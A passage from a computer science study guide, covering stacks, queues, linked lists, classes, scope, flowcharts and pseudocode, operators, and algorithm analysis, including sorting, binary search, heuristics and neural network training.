02 pages.append("sports")
03 pages.del(pages.size[1] - 1)
04 output(pages[pages.size[1] - 1])
```

This adds `"sports"`, removes it again, and outputs `>>> "news"`.

A **queue** reverses the priority. It is first in, first out (FIFO), with items added at one end and removed from the other, like a line of people. Print jobs and help desk lines are queues, because fairness requires serving the earliest arrival first. If a print server used a stack, early jobs could wait

a long time as newer ones kept going ahead of them. With an array, `append` joins the line, and `del(0)` serves the next. Someone who needs another turn can be appended again and so goes to the back.

```
01 String[] line = ["Ana", "Ben"]
02 line.append("Cy")
03 String served = line[0]
04 line.del(0)
05 output(line[0])
```

This serves `"Ana"` and outputs `>>> "Ben"`.

Linked lists: a different way to hold a sequence

Those deletions at index `0` have a cost, since every remaining value has to shift. A **linked list** avoids this by not keeping values side by side at all. It stores values in **nodes**, each holding a value and a **pointer** to the next node, and a **doubly linked list** adds a pointer to the previous node. Traversal follows pointers, moving with `node = node.next` until the value is `NULL`:

```
01 int count = 0
02 while (node != NULL)
03   count = count + 1
04   node = node.next
05 output(count)
```

The trade-off with arrays is direct. Once you have reached the right place, inserting relinks pointers without shifting values. Reading by position, however, requires walking from the start, whereas an array goes straight to a position, which is also why methods that repeatedly jump to the middle of a sorted sequence need an array. Inserting requires relinking pointers in an order that keeps the rest of the list reachable. Save a node's old next pointer first, or the rest of the list becomes unreachable: running `A.next = N` before `N` has been pointed at what followed `A` loses everything after `A`. To insert `N` between `A` and `B` in a doubly linked list, four pointers need setting, two on the new node and one on each neighbor:

```
01 N.prev = A
02 N.next = B
03 A.next = N
04 B.prev = N
```

Objects and classes

So far, every structure has held values of one kind, but a student or a bank account has several attributes of different types along with things it can do. A **class** defines a type's attributes and methods, and an **object** is an instance of a class with its own attribute values, accessed using dot notation, with the object before the name, as in `c.honk()`.[53] A class is the template, so each object has its own copy of the data.

[53] MWC1, Dice: classes, instances, randomness, and repeated runs.

```
01 Pet a = Pet("Rex")
02 Pet b = Pet("Tom")
03 a.name = "Max"
04 output(b.name)
```

This outputs `>>> "Tom"`, because changing `a.name` doesn't change `b.name`. Having separate objects is different from having two names for one object, though. Assigning an object to a second variable commonly shares one object, so after `Pet q = p`, changing `q.name` also changes what `p.name` reports. Assigning an `int` copies its value, so after `int b = a`, changing `b` leaves `a` alone.

Across all levels: scope and choosing a structure

Variables at every level of this section have names, and a name is usable only in part of a program. A variable's **scope** is the part of a program in which its name is valid, so a variable declared inside a function or block isn't available outside it. A program that calls `total(a)` and then outputs `total`'s local variable `s` stops with an error, whatever order the lines are in. The fix that preserves a function's independence is to return the value and use it at the call, without adding a global variable. A local name can hide an outer variable of the same name, without changing it. A function's local variable is created anew on each call, so a count kept inside a function restarts each time, and it has to live outside the call or be passed in. A variable declared in a loop header may not be valid after the loop, unlike in Python.

With these structures available, choosing among them means asking how the data will be used. Choose an array for ordered access by position, a map for lookup by key, a stack for most-recent-first access, and a queue for first-come, first-served processing. A two-dimensional array or a map wouldn't express what a sign-up table needs, and a program that always adds to the end of an array and removes from index `0` is a queue, whatever it calls its variable. Needs can also call for more than one structure. A leaderboard may need both a map, to get a player's score by name, and an array, to keep names in rank order. And when you need a type with both data and behavior, such as many accounts with their own balances, a class with one object per account fits better than one number or a string holding everything.

The last design question concerns what to leave out, and it applies to objects in particular. A class generally shouldn't store what it can derive, such as `area` along with `width` and `height`, or `age` along with `birth_year`, because copies can become inconsistent: after a few years, a stored age is simply wrong. A method can calculate these values when they're needed, and a stored `count` of an array's length is better replaced by `items.size[1]`. The exception is a value that is costly to compute, read often, and reliably updated, where the trade of space for time can be justified.

These structures and the control structures of 0002.f are the materials of any algorithm, and so far they've all been written in one notation. The next section looks at how the same algorithm can be represented in others, including flowcharts and blocks.

- **primitive types**: `bool`, `int`, `float`, and `char`, the basic kinds of value
- **`String`**: an ordered sequence of `char` values

- **array**: values of one type, accessed by a zero-based `int` index
- **two-dimensional array**: values accessed by row and then column, as in `grid[row, column]`
- **associative array (map)**: unique keys with values, accessed by key
- **abstract data type**: a specification of behavior that can be implemented in more than one way
- **stack**: last in, first out (LIFO), with items added and removed at the same end
- **queue**: first in, first out (FIFO), with items added at one end and removed from the other
- **linked list**: nodes that each hold a value and a pointer to the next node
- **doubly linked list**: a linked list whose nodes also point to the previous node
- **class**: a definition of a type's attributes and methods
- **object**: an instance of a class with its own attribute values
- **scope**: the part of a program in which a name is valid

Practice questions: 0002.h, page 454.

0002.i Representing algorithms

An algorithm exists apart from any way of writing it down, and the same steps can be drawn as a diagram, written as structured text, or snapped together as blocks. What stays constant across these forms is the skeleton described in 0002.f: every algorithm is built from sequencing, selection, and iteration. A representation is simply a visual language for those three structures, and each one has its own way of showing a step, a decision, and a repetition. This section takes three common representations in turn, flowcharts, pseudocode, and block-based code, asking of each how it shows the three structures, and then puts them side by side to show how translating from one to another works.

Flowcharts

A **flowchart** draws an algorithm as shapes joined by arrows, and each shape has a fixed meaning. **Ovals** mark the start and the end. **Rectangles** mark processes, the ordinary steps that do something, such as "Add 1 to count." **Diamonds** mark decisions, questions such as "Above 30?" whose answers send control down different paths, and **arrows** show the flow of control from one shape to the next. Sequencing is therefore a chain of rectangles joined by arrows. Selection is a diamond with two outgoing arrows, and those arrows must be labeled, usually "Yes" and "No," because a reader can't otherwise tell which path goes with which answer. An `if/else` becomes a diamond with two labeled arrows, each leading to its own rectangle. Because the shapes carry meaning, changing a shape changes the algorithm: redrawing a decision as a rectangle turns a question with branches into a plain step, and the chart no longer shows any choice at that point.

Iteration has no shape of its own. A **loop** appears as an arrow that returns to an earlier point in the chart, usually to a decision that determines whether the repetition continues. Consider a chart that runs Start → "Set count to 0" → "Count < 5?" and then, on Yes, "Print count" → "Add 1 to count" → back to the decision, while No leads to End. The returning arrow is what makes this a loop, and

the order of the rectangles along it shows that the count is printed before it is increased. The same chart without the returning arrow would describe a single decision, an `if`.

Where the decision sits along the loop matters. If the decision comes before the repeated steps, as in the counting chart, the steps can run zero times, since the first answer might be No. If the decision comes after them, as in Start → "Read input" → "Process input" → "More input?", with Yes returning to "Read input," then the steps always run at least once before the first test. Where the returning arrow lands matters just as much. A chart whose Yes arrow from "Count < 10?" returns to "Set count to 0" resets the count on every pass, so the condition never becomes false and the loop runs forever. The fix is to send the arrow back to the decision itself, and to make sure some step on the loop changes the count. A loop whose No arrow from "Password correct?" returns to "Enter password" repeats until the condition is met, with no fixed number of tries, which is the behavior of a `while` loop.

Pseudocode

Flowcharts make the flow of control visible, but they grow unwieldy for anything long, and most algorithms are written down as text. **Pseudocode** describes an algorithm in a structured, language-independent form. It is precise enough to trace, yet it doesn't belong to any one programming language, which makes it a good way to plan an algorithm before choosing a language and to share a plan with people who use different languages. Like any notation, a given pseudocode has conventions, and this guide uses the typed notation introduced under "From Python to typed pseudocode." In it, **indentation defines blocks**, just as in Python: the lines indented under an `if` or a loop header belong to it, and the first line back at the outer level is outside it. Comments are written between `/*` and `*/` and may span several lines.

```
01 int x = 4
02 if (x > 3)
03   output("big")
04   x = 0
05 output(x)
```

Lines 03 and 04 belong to the `if` block, because both are indented under it, and line 05 runs whatever the condition. This outputs `>>> "big"` and then `>>> 0`.

In pseudocode, the three structures are written with keywords. Sequencing is the order of the lines. Selection uses `if (...)`, `elseif (...)`, and `else`, with the condition in parentheses and no colon. Iteration uses `while (x < 10)`, which repeats as long as its condition is true, and the counting loop `for (int i = 1; i < 10; i = i + 1)`, whose header states where the counter starts, the condition for continuing, and the update after each pass. Python's `for number in range(3):` becomes `for (int number = 0; number < 3; number = number + 1)`, since `range(3)` starts at `0` and stops before `3`. Logical operators are written in capitals, as `AND`, `OR`, and `NOT(...)`.

A `for` loop is a compact way of writing a particular `while` loop, and seeing the connection helps with translation in both directions. To rewrite a `for` loop as a `while` loop, move its first part above

the loop, keep its condition as the `while` condition, and move its update to the end of the body:

```
01 for (int i = 5; i > 0; i = i - 1)
02   output(i)
```

```
01 int i = 5
02 while (i > 0)
03   output(i)
04   i = i - 1
```

Both output `5`, `4`, `3`, `2`, and `1`. Putting the update at the end of the body matters, since moving it above `output(i)` would print `4` down to `0` instead.

Block-based code

Pseudocode shows structure with indentation, and block-based code shows the same structure with shape. In a **block-based** environment such as Scratch, a program is built from interlocking blocks, and blocks that control others, such as "repeat 4" or "if," are shaped to hold other blocks inside them. A block's position inside another shows what that block controls, so **nesting in blocks corresponds to indentation in text**. A "turn" block nested inside a "repeat 4" block runs four times, and the same block attached below the "repeat 4" runs once, after the repetition is finished.[54] A program meant to move and turn four times, which instead moves four times and then turns once, has its turn block in the wrong place, and the fix is to move it inside the repeat block. Block programs can contain typed text, as in a C-shaped block headed `for (int i = 0; i < 3; i = i + 1)`, and reading them means tracing what is nested inside what.

Seeing this correspondence helps students who move from blocks to text, because the two use the same control structures. A nested loop shows it clearly:

```
01 for (int i = 0; i < 2; i = i + 1)
02   for (int j = 0; j < 3; j = j + 1)
03     move()
04   beep()
```

In blocks, this is a "repeat 2" block containing a "repeat 3" block, with `move()` inside the inner block and `beep()` below the inner block but still inside the outer one. So `move()` runs six times and `beep()` runs twice.

Translating between representations

Since all three forms express the same three structures, translating an algorithm from one to another means matching each sequence, decision, and loop in one form to the corresponding structure in the other. It isn't a word-for-word or line-for-line conversion.

[54] LAI 516, Media: Scratch: constructionist design, low floor, events, and blocks.

Structure	Flowchart	Pseudocode	Blocks
Sequencing	Rectangles joined by arrows	Lines in order at the same indentation	Blocks stacked one below another
Selection	A diamond with labeled branches	`if`, `elseif`, `else`	An "if" block holding other blocks
Iteration	An arrow returning to an earlier decision	`while`, `for`	A "repeat" block holding other blocks

Two details make translations reliable. First, each `while` condition and each `if` condition becomes one diamond, so a `while` loop that contains an `if` needs two diamonds. Second, steps after a loop in text are those after the decision's exit branch in a flowchart. A chart that goes Start → `s = 0` → "`s < 6`?", with Yes leading to `s = s + 2` and back, and No leading to Output `s` → End, matches a `while (s < 6)` loop whose body is `s = s + 2`, followed by an unindented `output(s)`. Putting the output inside the loop body would print on every pass, which the chart doesn't show.

Finally, a translation is faithful to its source, including its mistakes. If a flowchart's algorithm is wrong, a correct translation into pseudocode will produce the same wrong answer, so when translated code misbehaves, the original algorithm is one of the places to look. Representations differ in how they look, while the algorithm, and any error in it, is the same in each. The next section looks more closely at the smallest pieces inside those structures: the expressions in each condition and assignment.

- **flowchart**: a diagram of an algorithm, using shapes for steps and arrows for the flow of control
- **oval**: a flowchart's start or end
- **rectangle**: a flowchart's process step
- **diamond**: a flowchart's decision, with labeled branches
- **pseudocode**: a structured, language-independent description of an algorithm
- **block-based code**: a program built from interlocking blocks, in which nesting shows what each block controls

Practice questions: 0002.i, page 502.

0002.j Expressions and operators

Inside every decision and every assignment is an **expression**, a combination of values, variables, and operators that the computer evaluates to a single value. Operators fall into three families, and the clearest way to understand them is by the types they take and the types they produce. **Arithmetic operators** take numbers and produce numbers. **Relational operators** take values, usually numbers, and produce a `bool`, `TRUE` or `FALSE`. **Logical operators** take `bool` values and produce a `bool`. The families therefore feed into one another in a fixed order: arithmetic computes quantities, comparisons turn quantities into true-or-false answers, and logic combines those answers into the conditions that drive the diamonds and `if` statements of 0002.i. This section follows that chain and ends with assignment, which stores an expression's result. The table under "Operators" in "From

Python to typed pseudocode" lists the notation, and this section explains how the pieces behave.

Arithmetic

The arithmetic operators are `+`, `−`, `∗`, `/`, `^` for exponentiation, and `%` for modulo. Note that `^` always means an exponent, so `2 ^ 3` is `8`. Each operator works on a matched pair, two `int` values or two `float` values. Python quietly converts `2 ∗ 1.5`, but in typed pseudocode an `int` and a `float` don't combine, so multiplying an `int` quantity by a `float` price is a type mismatch. When a program needs to mix them, it converts one value first, using a conversion function that a library provides and the code defines, such as `Cast.inttofloat(qty) ∗ price`.

When an expression has several operators, they follow the usual order from mathematics, often remembered as PEMDAS: parentheses first, then exponents, then multiplication and division, then addition and subtraction. This order explains a common bug in averages. `a + b + c / 3` divides only `c`, because division comes before addition, and the correct version groups the sum first, as in `(a + b + c) / 3`. Order also determines results like `4 ∗ 5 ^ 2 + 3`, where `5 ^ 2` is `25`, multiplying by `4` gives `100`, and adding `3` gives `103`. When in doubt, add parentheses, which cost nothing and show the reader what you mean.

Integer division and modulo

Division between two `int` values deserves special care, because the result must also be an `int`. In this notation, `/` on an `int` pair returns a *rounded* `int`, so `8 / 3` is `3`, `175 / 3` is `58`, and `23 / 4`, which is `5.75`, becomes `6`. Python behaves differently: its `/` gives a `float`, as in `7 / 2` giving `3.5`, and its `//` rounds down. The notation doesn't say how it rounds a tie such as `7 / 2`. Because rounding happens at every division, the order of operations can change an answer. A percentage computed as `correct / total ∗ 100` with `17` correct out of `20` first rounds `17 / 20`, which is `0.85`, to `1`, and then gives `100`. Multiplying first, as in `correct ∗ 100 / total`, gives `1700 / 20`, which is exactly `85`. Repeated division compounds the rounding: dividing `17` by `3` again and again gives `6`, then `2`, then `1`.

The other half of whole-number division is the remainder, and the **modulo** operator `%` gives it for `int` values, so `17 % 5` is `2`. Several common tests are built from it. A number is even exactly when dividing by `2` leaves no remainder, so `n % 2 == 0` tests for an even number, which is how a web page might shade every even-numbered row of a table. Divisibility in general works the same way, as in a leap year rule: a year is a leap year if `y % 4 == 0`, except that a year with `y % 100 == 0` must also have `y % 400 == 0`. Modulo also wraps values around, because a remainder after dividing by `m` is always between `0` and `m − 1`. A Caesar shift computes `(x + 3) % 26`, which always stays between `0` and `25`. A rotation among four students uses `i = (i + 1) % 4`, so after index `3` it returns to `0`. And on a 24-hour clock, a shift starting at hour `22` and lasting `5` hours ends at `27 % 24`, which is `3`. One case surprises people: when a non-negative `a` is smaller than `b`, `b` goes into `a` zero times, so `a % b` is `a` itself. Thus `5 % 12` is `5`, while `12 % 5` is `2`.

Comparisons

Arithmetic produces numbers, and the relational operators turn them into answers. `<`, `>`, `<=`, and `>=` compare a matched `int` or `float` pair, and `==` (equal) and `!=` (not equal) compare matched pairs of any type, including `String` and `bool`. All of them evaluate to a `bool`. Two consequences follow from these type rules. First, ordering comparisons aren't defined for strings, so `"apple" < "banana"`, which Python allows, isn't valid here, and comparing values of different types with `==`, such as an `int` with a `String`, gives `ERROR`. Second, comparison results can themselves be stored and compared, so if `c` holds `TRUE` and `d` holds `FALSE`, then `c == d` is `FALSE`.

The difference between `>` and `>=` decides whether a boundary value is included, which is where many errors start. A program that should print `"pass"` for a score of `60` or more needs `score >= 60`, since `score > 60` would fail the student who scored exactly `60`. The same reasoning applies to loop conditions: a countdown meant to show `10`, `7`, `4`, and `1` uses `for (int i = 10; i > 0; i = i - 3)`, because the condition holds for `1` and fails for `-2`.

Python allows chained comparisons such as `1 < x < 9`, but this notation doesn't. Evaluated one operator at a time, `1 < x` produces a `bool`, and a `bool` can't then be compared with `9` using `<`. Testing whether a value lies between two bounds requires two comparisons joined by a logical operator, which is the next step in the chain.

Logical operators

Logical operators combine conditions. `AND` is true when all of its conditions are true, `OR` is true when at least one is true, and `NOT(...)` reverses a condition. A rule such as "children under 5 and residents over 64 ride free" is a combination of this kind, and getting it right depends on the order in which the parts are evaluated. In this notation, parentheses are evaluated first, and then the operators run strictly **from left to right**, with no precedence between `AND` and `OR`. This differs from Python, where `and` is evaluated before `or`.

```
01 output(TRUE OR FALSE AND FALSE)
```

This outputs `>>> FALSE`, because `TRUE OR FALSE` is `TRUE`, and then `TRUE AND FALSE` is `FALSE`. Python would give `True`. Consider a fare rule written as `age < 5 OR age > 64 AND resident`. For a four-year-old who isn't a resident, left to right gives `TRUE OR FALSE`, which is `TRUE`, and then `TRUE AND FALSE`, which is `FALSE`, so the child is wrongly charged. Parentheses attach the resident requirement to the seniors only: `(age < 5) OR (age > 64 AND resident)`. Similarly, a condition such as `i == 10 OR i > 3 AND i < 8` is evaluated as `(i == 10 OR i > 3) AND i < 8`, which is true for `4` through `7` and false for `10`. The safe habit is to use parentheses whenever `AND` and `OR` appear together, so that the grouping is visible and doesn't depend on a rule the reader has to remember.

The choice between `AND` and `OR` also matters with negative conditions. A quiz that accepts only the answers `1` and `2` should reject a value only if it is neither, which is `a != 1 AND a != 2`. Writing `a != 1 OR a != 2` gives a condition that is always true, because no value can equal both `1` and `2`, so at least one of the two inequalities always holds.

Ranges

The most common use of logical operators is testing a range. A value inside a range must satisfy both bounds at once, so the test uses `AND`, as in `(x >= 1) AND (x <= 9)`. Using `OR` here would be true for nearly every value, since every number is either at least `1` or at most `9`. Whether the endpoints are included depends on choosing `>=` and `<=` over `>` and `<`: a discount for ages 13 through 18 needs `(age >= 13) AND (age <= 18)`, which includes both `13` and `18`. A value outside a range is below the low end or above the high end, and it can't be both, so that test uses `OR`, as in `(m < 1) OR (m > 12)` for an invalid month. Equivalently, `NOT((x >= 1) AND (x <= 9))` is true exactly for the values outside the range. Conditions like these combine naturally with loops, as when a program counts the students whose attendance is at least `90` and whose grade is at least `70`, checking both arrays at the same index.

Assignment and equality

Every expression above produces a value, and assignment is how a program keeps it. `=` assigns a value to a variable, while `==` tests whether two values are equal, and confusing them is one of the most common beginner errors. An account that should lock after the third failed login needs `if (tries == 3)`. Writing `if (tries = 3)` isn't a test at all, and it is an error. Assignment also reads differently from algebra: `x = x + 1` isn't an equation with no solution, but an instruction to compute the right side using the current value of `x` and then store the result in `x`. Each line uses whatever the variables hold at that moment, so if `x` is `2`, then `x = x * 2` followed by `x = x * 2` leaves `8`.

Assigning one variable to another copies the current value, as described for `int` under 0002.h. After `int saved = score`, later changes to `score` don't affect `saved`. This is why exchanging two values needs a temporary variable, as 0002.f showed: `a = b` overwrites `a`, so a following `b = a` just copies the new value back. The two operators can also appear in one line. `bool y = x == 4` compares `x` with `4` and stores the `bool` result in `y`, leaving `x` unchanged.

These operators are the smallest pieces of an algorithm's logic. The next section steps back to the scale of whole algorithms, asking how to predict what they produce and how their costs grow.

- **expression**: a combination of values, variables, and operators that evaluates to a single value
- **arithmetic operators**: `+`, `-`, `*`, `/`, `^` (exponent), and `%` (modulo), on matched `int` or `float` pairs
- **integer division**: `/` on two `int` values, which returns a rounded `int`
- **modulo**: `%`, the remainder after dividing `int` values
- **relational operators**: `<`, `>`, `<=`, `>=` for matched numbers, and `==`, `!=` for matched values of any type, all producing a `bool`
- **logical operators**: `AND`, `OR`, and `NOT(...)`, evaluated after parentheses from left to right
- **assignment**: `=`, which stores a value in a variable
- **equality**: `==`, which tests whether two values are equal

Practice questions: 0002.j, page 522.

0002.k Analyzing algorithms

Tracing, as 0002.f described it, predicts what an algorithm will produce for one input. Analysis asks a broader question: how will the algorithm behave as its inputs grow, and how does it compare with other algorithms that do the same job? This section is built around that comparison. It begins with the measuring stick, Big-O notation. It then applies the measure to the two problems where competing algorithms are most familiar, sorting and searching. From there it widens to the trade-offs that analysis reveals, first between time and memory and then between exact answers and feasible ones. It ends with the general design techniques that recur across all of these algorithms, and with neural network training as an extended example of one of them making an enormous problem manageable.

Measuring growth

Timing a program with a stopwatch tells you about one machine and one input. To compare algorithms in general, computer scientists describe how an algorithm's resource use, usually its number of steps and sometimes its memory, grows with the size of its input, called `n`. **Big-O notation** names that growth, and five classes cover most of the algorithms in this guide. From slowest to fastest growth, they are O(1), O(log n), O(n), O(n log n), and O(n^2). An O(1), or **constant**, cost doesn't depend on `n` at all, as with reading `a[5]` or looking up a key in a map. An O(log n), or **logarithmic**, cost grows by about one step each time `n` doubles, which is what happens when each step halves the remaining data. An O(n), or **linear**, cost grows in proportion to `n`, as with one pass through an array. O(n log n), sometimes called linearithmic, is a little more than linear and is typical of the fastest general-purpose sorts. An O(n^2), or **quadratic**, cost grows with the square of `n` and is typical of nested loops over the same data.

The practical meaning of these classes appears when the input grows. Doubling the input roughly doubles O(n) time and quadruples O(n^2) time, so if a function takes about 1, 4, and 16 seconds on inputs of 100, 200, and 400, it is behaving quadratically. A function that compares every pair of values in an array, as when checking for duplicates with nested loops, makes about `n(n−1)/2` comparisons, which grows as n^2, so a thousand-fold increase in data multiplies its time by about a million. A function that makes one pass and records each value in a map, checking whether it has appeared already, does a constant-time lookup per value and so is O(n), and the same thousand-fold increase multiplies its time by about a thousand.

Big-O describes growth at large sizes, and it deliberately ignores constant factors, so it doesn't settle every comparison. An algorithm that takes `1000n` steps is O(n), and one that takes `n²` steps is O(n^2), yet for every `n` below 1,000 the quadratic one does less work. Above 1,000, the linear one wins, and its advantage keeps growing. Growth classes describe which algorithm will win eventually, and for small inputs the constants can matter more. Analyses also distinguish best, average, and worst cases, since an algorithm can behave very differently on different inputs of the same size, as the sorts below show.

Sorting: one job, five algorithms

Sorting is the classic setting for comparing algorithms, because many quite different methods produce the same result, and each has a different profile. Three properties distinguish them: time, as a growth class in the average and worst cases; space, especially whether the algorithm sorts **in place**, rearranging values within the original array instead of copying them into extra memory; and how it behaves on input that is already nearly sorted.

Selection sort repeatedly finds the smallest remaining value and swaps it into place. On the first pass it scans the whole array for the smallest value and swaps it into position `0`, on the second pass it scans the rest for the next smallest and swaps it into position `1`, and so on.

```
01 for (int i = 0; i < a.size[1] - 1; i = i + 1)
02   int m = i
03   for (int j = i + 1; j < a.size[1]; j = j + 1)
04     if (a[j] < a[m])
05       m = j
06   int t = a[i]
07   a[i] = a[m]
08   a[m] = t
```

Lines 02 to 05 find the position `m` of the smallest remaining value, and lines 06 to 08 swap it into position `i`, using a temporary variable. On `[7, 4, 9, 2]`, the first pass swaps `2` into position `0`, giving `[2, 4, 9, 7]`, the second pass finds that `4` is already in place, and the third swaps `7` and `9`, giving `[2, 4, 7, 9]`. Because the inner loop always scans every remaining value, selection sort makes `n(n−1)/2` comparisons whatever the input's order, so 6 values take `15` comparisons even when they arrive already sorted. It is $O(n^2)$ and sorts in place. Its distinctive strength is that it makes at most `n − 1` swaps, one per pass, and each swap moves a value a long distance straight to its final position. That matters when writing is much more costly than reading, as on flash memory, which wears with each write.

Bubble sort also makes repeated passes, but it compares and swaps adjacent values, carrying the largest remaining value to the end on each pass. One pass over `[5, 1, 4, 2]` swaps `5` with `1`, then `5` with `4`, then `5` with `2`, giving `[1, 4, 2, 5]`, so after the first pass the largest value is in its final position. Bubble sort is $O(n^2)$ on average, like selection sort, but it typically makes many more swaps, since values move one position at a time. A large value near the front can reach the end in a single pass, but a small value near the end moves only one position toward the front on each pass, so one such value can force about `n` passes, and input in reverse order is the worst case. A common improvement stops the sort after a pass that makes no swaps, which makes it fast on input that is already sorted, since one pass is enough to confirm the order.

Insertion sort builds a sorted section at the front of the array and inserts each new value into position within it, shifting larger values one place to the right. If the first three values of `[3, 6, 8, 4, 1]` are already sorted, the next step inserts `4` between `3` and `6`, shifting `6` and `8` right, to give `[3, 4, 6, 8, 1]`. In code, an inner loop moves an index `j` backward past the larger values, and when it stops, `j` is one position before the gap, so the saved value goes into `a[j + 1]`. Insertion sort

is O(n²) on average and sorts in place, but on nearly sorted data it is close to O(n), because each value moves only a short distance. This makes it a good choice for a list of records that is already almost in order, where selection sort would still make all `n(n−1)/2` comparisons. It also suits data that arrives one value at a time, since keeping a sorted list sorted after each arrival requires moving only the new value.

The two remaining sorts are faster at scale, and both use recursion, the technique of 0002.f, to apply divide and conquer, described below. **Merge sort** recursively splits a list in half until each piece has one value, and then merges sorted halves back together by repeatedly taking the smaller front value of the two. Merging `[1, 6]` with `[2, 4, 9]` takes `1`, then `2`, then `4`, then `6`, then `9`. Each level of splitting halves the lists, so there are about $\log_2 n$ levels, `10` for 1,024 values, and each level does about `n` work in merging, which gives O(n log n). That holds in all cases, which makes merge sort the choice when the worst case must be predictable. Its disadvantage is that merging needs additional memory to hold values as they are combined. Its way of working, merging sorted runs, also suits data too large to fit in memory, which can be sorted in chunks that are written to disk and then merged. A faster growth class doesn't make it always best, though: for a short array on a device with little memory, a simple in-place sort can be the better choice.

Quicksort chooses one value as a **pivot** and partitions the others around it, smaller values to one side and larger values to the other, and then recursively sorts each part. After partitioning, the pivot is in its final position, which is the number of values smaller than it, so with `6` as pivot in `[9, 3, 7, 1, 6]`, two values are smaller and `6` ends at index `2`. Quicksort averages O(n log n) and sorts in place, and in practice it is often the fastest of all, because of its low constant factors and good use of the processor's cache, which is why it often beats merge sort on large random arrays despite merge sort's better guarantee. Its weakness is an O(n²) worst case, which arises when partitions are unbalanced. If the first value is always the pivot and the list is already sorted, each partition leaves nearly everything on one side. Choosing the pivot at random, or as the median of three values, makes such unbalanced partitions much less likely.

Searching

Searching shows how much the right algorithm can matter. **Linear search** checks each value in turn until it finds a match, which is O(n) and works on unsorted data. **Binary search** works only on sorted data. It compares the target with the middle value, and since the data is sorted, that one comparison shows which half could contain the target, so the other half is discarded. Halving repeatedly gives O(log n): about `20` comparisons for 1,000,000 values, where a linear search could need 1,000,000.

```
01 function find(int[] a, int target)
02   int low = 0
03   int high = a.size[1] - 1
04   int mid = 0
05   while (low <= high)
06     mid = (low + high) / 2
```

```
07     if (a[mid] == target)
08       return mid
09     elseif (a[mid] < target)
10       low = mid + 1
11     else
12       high = mid - 1
13   return -1
```

The bounds on lines 10 and 12 must exclude the middle value, which has already been checked. If line 10 said `low = mid`, then once `low` and `high` were next to each other or equal, `mid` could land on the same position again and again, the range would stop shrinking, and the loop would never end when the target is missing.

The two searches illustrate a cost that analysis makes visible. Checking 10,000 visitor IDs against 1,000,000 sorted member IDs takes up to about 10 billion comparisons by linear search and about 200,000 by binary search. But binary search needs sorted data, and sorting costs O(n log n). Sorting once pays off when a collection that changes rarely is searched many times, and it doesn't pay off for a single search: an unsorted list of 50 codes searched once a week is best searched linearly.

Trading space for time

The map in the duplicate-checking example above is an instance of a general pattern. An algorithm can often run faster by using more memory, or use less memory by taking longer, and this is called a **time and space trade-off**. Caching stores results so they needn't be recalculated, as when a web application stores a profile page the first time it is built instead of spending 2 seconds rebuilding it on each visit. A map of values already seen avoids scanning an array again and again. The Fibonacci numbers give a vivid case: a recursive function that computes each value from the two before it recalculates the same values an exponentially growing number of times, while a version that stores each value as it is computed needs far fewer steps, at the cost of keeping the stored values. The same idea applies to a table built once and read many times, such as a list of running totals from which the sum of any range of days is one subtraction, or a table marking which numbers up to a limit are prime, so that each later check is a single lookup instead of a series of divisions. The trade doesn't always favor storage. If a precomputed table would be enormous and each result is quick to compute, storing it isn't worthwhile, and scarce memory on a small device may justify slower code. The choice depends on the size of the data and the limits of the system.

When exact answers are out of reach

All the algorithms so far finish in reasonable time. Some problems, however, grow so quickly that no exact method can solve them at realistic sizes. A program that tries every seating arrangement of a class might work for 6 students, but the number of arrangements grows factorially, so with 25 students it will never finish. Finding the shortest route through 200 delivery stops has the same character, since the number of possible routes grows faster than exponentially. These are **intractable** problems at large sizes.

Programs facing such problems use **heuristics**, methods that find a good-enough result in reasonable time without guaranteeing the best one. Going next to the nearest unvisited stop is a heuristic for the delivery route. **Pruning** is another: a chess program stops exploring lines of play that are clearly worse than one it has already found, which shrinks the search without examining every possibility. Because a heuristic is judged by tests rather than proof, its good results on test cases suggest, but do not guarantee, similar results on future data. Whether a heuristic is acceptable is a judgment about needs. A schedule found in one second that costs 5% more than the best possible may be fine for a company that needs fast, near-best answers.

Design techniques

Looking back over these algorithms, a few strategies recur, and naming them helps when designing new ones. **Divide and conquer** solves smaller versions of a problem and combines the results, as merge sort and quicksort do, and as an image-processing task does when it splits an image into quarters, processes each with the same procedure, and combines them. A **greedy** algorithm takes the choice that looks best at each step without reconsidering, as when a cash register makes change by repeatedly choosing the largest coin that fits the remaining amount, or when the nearest-stop heuristic picks the closest stop. Because a greedy algorithm never reconsiders, it can miss the best answer: it gives the fewest coins for coins of 25, 10, 5, and 1 cents, but with coins worth 4, 3, and 1 it pays 6 with three coins (4, 1, 1) where two 3s would do. **Generate and test** creates candidate solutions and checks each one, as when a password-testing tool tries combinations until one works, and the seating program above is generate and test on a scale that can't finish. **Decomposition**, from 0002.d, breaks a task into sub-problems that are solved separately, as when a chess project separates board display, move validation, and computer strategy into separately written parts.

An example: training a neural network

Decomposition is also what makes modern machine learning feasible. A neural network can contain millions of adjustable weights, and training means finding settings for them that produce the desired outputs, a problem far too large to solve by trying settings. Training begins by comparing the network's actual outputs with the desired outputs, using a **loss function** that measures the difference between them. **Backpropagation** then works backward through the network's layers, using the chain rule from calculus to calculate how much each weight contributed to the error. If a network computes `g(f(x))`, with weights in both `f` and `g`, the chain rule divides the error at the output into a part due to `g` and a part due to `f`, finding the rate at which the loss changes with a weight in `f` by multiplying the rates along the chain from that weight to the loss. Each layer's calculation reuses values computed for the layers after it, so the huge problem is decomposed layer by layer into smaller calculations, and every weight can be adjusted in the direction that reduces the loss.

Analysis applies to the result as well as the process. If the loss keeps falling on the training data but starts rising on test data held back from training, the network is **overfitting**, fitting details of its training data that don't generalize to new data.[55]

[55] MWC2, Classification: Neural: neural networks, backpropagation, and NumPy-style array indexing.

Algorithms like these become parts of larger programs, and the larger a program grows, the more it depends on how its parts are organized. The next section turns to object-oriented programming, which extends decomposition from algorithms to the structure of whole programs.

- **Big-O notation**: a description of how an algorithm's resource use grows with input size `n`
- **in place**: sorting within the original array, without significant extra memory
- **selection sort**: repeatedly swapping the smallest remaining value into place; `n(n−1)/2` comparisons and at most `n − 1` swaps
- **bubble sort**: repeatedly swapping adjacent values, carrying the largest remaining value to the end on each pass
- **insertion sort**: inserting each value into a growing sorted section; close to O(n) on nearly sorted data
- **merge sort**: recursively splitting a list and merging sorted halves; O(n log n) in all cases, with extra memory
- **quicksort**: partitioning around a pivot and recursively sorting each part; O(n log n) on average, $O(n^2)$ in the worst case
- **pivot**: the value around which quicksort partitions
- **linear search**: checking each value in turn; O(n)
- **binary search**: halving a sorted list with each comparison; O(log n)
- **time and space trade-off**: using more memory to save time, or more time to save memory
- **intractable problem**: a problem that grows too quickly to solve exactly at large sizes
- **heuristic**: a method that finds a good-enough result in reasonable time
- **pruning**: abandoning unpromising paths in a search
